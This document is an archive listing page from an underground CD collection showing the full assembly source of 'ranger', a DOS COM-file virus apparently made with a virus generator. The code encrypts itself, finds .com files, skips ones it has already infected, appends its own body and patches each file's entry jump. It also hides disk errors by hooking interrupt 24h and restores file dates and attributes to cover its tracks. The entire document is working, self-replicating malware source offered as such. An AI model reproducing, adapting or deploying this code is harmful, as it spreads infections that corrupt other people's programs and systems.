home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / r / ranger.asm next >
Encoding:
Assembly Source File  |  1998-01-14  |  9.6 KB  |  249 lines
  1.  
  2. .model tiny                             ; Handy directive
  3. .code                                   ; Virus code segment
  4.           org    100h                   ; COM file starting IP
  5.  
  6. entry_point: db 0e9h,0,0                ; jmp decrypt
  7.  
  8. decrypt:                                ; handles encryption and decryption
  9.           mov  cx,(offset heap - offset startencrypt)/2 ; iterations
  10. patch_startencrypt:
  11.           mov  di,offset startencrypt   ; start of decryption
  12. decrypt_loop:
  13.           db   81h,35h                  ; xor word ptr [di], xxxx
  14. decrypt_value dw 0                      ; initialised at zero for null effect
  15.           inc  di                       ; calculate new decryption location
  16.           inc  di
  17.           loop decrypt_loop             ; decrypt mo'
  18. startencrypt:
  19.           call next                     ; calculate delta offset
  20. next:     pop  bp                       ; bp = IP next
  21.           sub  bp,offset next           ; bp = delta offset
  22.  
  23.           lea  si,[bp+save3]
  24.           mov  di,100h
  25.           push di                       ; For later return
  26.           movsw
  27.           movsb
  28.  
  29.           mov  byte ptr [bp+numinfec],1 ; reset infection counter
  30.  
  31.           mov  ah,1Ah                   ; Set new DTA
  32.           lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  33.           int  21h
  34.  
  35.           mov  ah,47h                   ; Get current directory
  36.           mov  dl,0                     ; Current drive
  37.           lea  si,[bp+origdir]          ; DS:SI->buffer
  38.           int  21h
  39.           mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
  40.  
  41.           mov  ax,3524h                 ; Get int 24 handler
  42.           int  21h                      ; to ES:BX
  43.           mov  word ptr [bp+oldint24],bx; Save it
  44.           mov  word ptr [bp+oldint24+2],es
  45.           mov  ah,25h                   ; Set new int 24 handler
  46.           lea  dx,[bp+offset int24]     ; DS:DX->new handler
  47.           int  21h
  48.           push cs                       ; Restore ES
  49.           pop  es                       ; 'cuz it was changed
  50.  
  51. dir_scan:                               ; "dot dot" traversal
  52.           lea  dx,[bp+com_mask]
  53.           mov  ah,4eh                   ; find first file
  54.           mov  cx,7                     ; any attribute
  55. findfirstnext:
  56.           int  21h                      ; DS:DX points to mask
  57.           jc   done_infections          ; No mo files found
  58.  
  59.           mov  al,0h                    ; Open read only
  60.           call open
  61.  
  62.           mov  ah,3fh                   ; Read file to buffer
  63.           lea  dx,[bp+buffer]           ; @ DS:DX
  64.           mov  cx,1Ah                   ; 1Ah bytes
  65.           int  21h
  66.  
  67.           mov  ah,3eh                   ; Close file
  68.           int  21h
  69.  
  70. checkCOM:
  71.           mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
  72.           cmp  ax,2000                  ; Is it too small?
  73.           jb   find_next
  74.  
  75.           cmp  ax,65535-(endheap-decrypt) ; Is it too large?
  76.           ja   find_next
  77.  
  78.           mov  bx,word ptr [bp+buffer+1]; get jmp location
  79.           add  bx,heap-decrypt+3        ; Adjust for virus size
  80.           cmp  ax,bx
  81.           je   find_next                ; already infected
  82.           jmp  infect_com
  83. find_next:
  84.           mov  ah,4fh                   ; find next file
  85.           jmp  short findfirstnext
  86.           mov  ah,3bh                   ; change directory
  87.           lea  dx,[bp+dot_dot]          ; "cd .."
  88.           int  21h
  89.           jnc  dir_scan                 ; go back for mo!
  90.  
  91. done_infections:
  92. jmp  activate                           ; Always activate
  93. exit_virus:
  94.           mov  ax,2524h                 ; Restore int 24 handler
  95.           lds  dx,[bp+offset oldint24]  ; to original
  96.           int  21h
  97.           push cs
  98.           pop  ds
  99.  
  100.           mov  ah,3bh                   ; change directory
  101.           lea  dx,[bp+origdir-1]        ; original directory
  102.           int  21h
  103.  
  104.           mov  ah,1ah                   ; restore DTA to default
  105.           mov  dx,80h                   ; DTA in PSP
  106.           int  21h
  107.           retn                          ; 100h is on stack
  108. save3               db 0cdh,20h,0       ; First 3 bytes of COM file
  109.  
  110. activate:                               ; ******************************
  111.                 mov     ax,04301h               ; DOS set file attributes function
  112.         xor    cx,cx            ; File will have no attributes
  113.         lea    dx,[di + 01Eh]        ; DX points to file name
  114.         int    021h
  115.         mov    ax,03D02h        ; DOS open file function, r/w
  116.         lea    dx,[di + 01Eh]        ; DX points to file name
  117.         int    021h
  118.         xchg    bx,ax            ; Transfer file handle to AX
  119.         jmp  exit_virus
  120.  
  121. creator             db '[ZEB(C)1992]',0        ; Mass Produced Code Generator
  122. virusname           db '[ranger]',0
  123.  
  124. infect_com:                             ; ax = filesize
  125.           mov  cx,3
  126.           sub  ax,cx
  127.           lea  si,[bp+offset buffer]
  128.           lea  di,[bp+offset save3]
  129.           movsw
  130.           movsb
  131.           mov  byte ptr [si-3],0e9h
  132.           mov  word ptr [si-2],ax
  133.           add  ax,103h
  134.           push ax                       ; needed later
  135. finishinfection:
  136.           push cx                       ; Save # bytes to write
  137.           xor  cx,cx                    ; Clear attributes
  138.           call attributes               ; Set file attributes
  139.  
  140.           mov  al,2
  141.           call open
  142.  
  143.           mov  ah,40h                   ; Write to file
  144.           lea  dx,[bp+buffer]           ; Write from buffer
  145.           pop  cx                       ; cx bytes
  146.           int  21h
  147.  
  148.           mov  ax,4202h                 ; Move file pointer
  149.           xor  cx,cx                    ; to end of file
  150.           cwd                           ; xor dx,dx
  151.           int  21h
  152.  
  153. get_encrypt_value:
  154.           mov  ah,2ch                   ; Get current time
  155.           int  21h                      ; dh=sec,dl=1/100 sec
  156.           or  dx,dx                     ; Check if encryption value = 0
  157.           jz  get_encrypt_value         ; Get another if it is
  158.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  159.           lea  di,[bp+code_store]
  160.           mov  ax,5355h                 ; push bp,push bx
  161.           stosw
  162.           lea  si,[bp+decrypt]          ; Copy encryption function
  163.           mov  cx,startencrypt-decrypt  ; Bytes to move
  164.           push si                       ; Save for later use
  165.           push cx
  166.           rep  movsb
  167.  
  168.           lea    si,[bp+write]          ; Copy writing function
  169.           mov    cx,endwrite-write      ; Bytes to move
  170.           rep    movsb
  171.           pop    cx
  172.           pop    si
  173.           pop    dx                     ; Entry point of virus
  174.           push   di
  175.           push   si
  176.           push   cx
  177.           rep    movsb                  ; Copy decryption function
  178.           mov    ax,5b5dh               ; pop bx,pop bp
  179.           stosw
  180.           mov    al,0c3h                ; retn
  181.           stosb
  182.  
  183.           add    dx,offset startencrypt - offset decrypt ; Calculate new
  184.           mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
  185.           call   code_store             ; decryption
  186.           pop    cx
  187.           pop    di
  188.           pop    si
  189.           rep    movsb                  ; Restore decryption function
  190.  
  191.           mov  ax,5701h                 ; Restore creation date/time
  192.           mov  cx,word ptr [bp+newDTA+16h] ; time
  193.           mov  dx,word ptr [bp+newDTA+18h] ; date
  194.           int  21h
  195.  
  196.           mov  ah,3eh                   ; Close file
  197.           int  21h
  198.  
  199.           mov ch,0
  200.           mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  201.           call attributes               ; attributes
  202.  
  203.           dec  byte ptr [bp+numinfec]   ; One mo infection
  204.           jnz  mo_infections            ; Not enough
  205.           jmp  done_infections
  206. mo_infections: jmp find_next
  207.  
  208. open:
  209.           mov  ah,3dh
  210.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  211.           int  21h
  212.           xchg ax,bx
  213.           ret
  214.  
  215. attributes:
  216.           mov  ax,4301h                 ; Set attributes to cx
  217.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  218.           int  21h
  219.           ret
  220.  
  221. write:
  222.           pop  bx                       ; Restore file handle
  223.           pop  bp                       ; Restore relativeness
  224.           mov  ah,40h                   ; Write to file
  225.           lea  dx,[bp+decrypt]          ; Concatenate virus
  226.           mov  cx,heap-decrypt          ; # bytes to write
  227.           int  21h
  228.           push bx
  229.           push bp
  230. endwrite:
  231.  
  232. int24:                                  ; New int 24h (error) handler
  233.           mov  al,3                     ; Fail call
  234.           iret                          ; Return control
  235.  
  236. com_mask            db '*.com',0
  237. dot_dot             db '..',0
  238. heap:                                   ; Variables not in code
  239. ; The following code is the buffer for the write function
  240. code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
  241. oldint24            dd ?                ; Storage for old int 24h handler      
  242. backslash           db ?
  243. origdir             db 64 dup (?)       ; Current directory buffer             
  244. newDTA              db 43 dup (?)       ; Temporary DTA                        
  245. numinfec            db ?                ; Infections this run                  
  246. buffer              db 1ah dup (?)      ; read buffer                          
  247. endheap:                                ; End of virus
  248. end       entry_point
  249.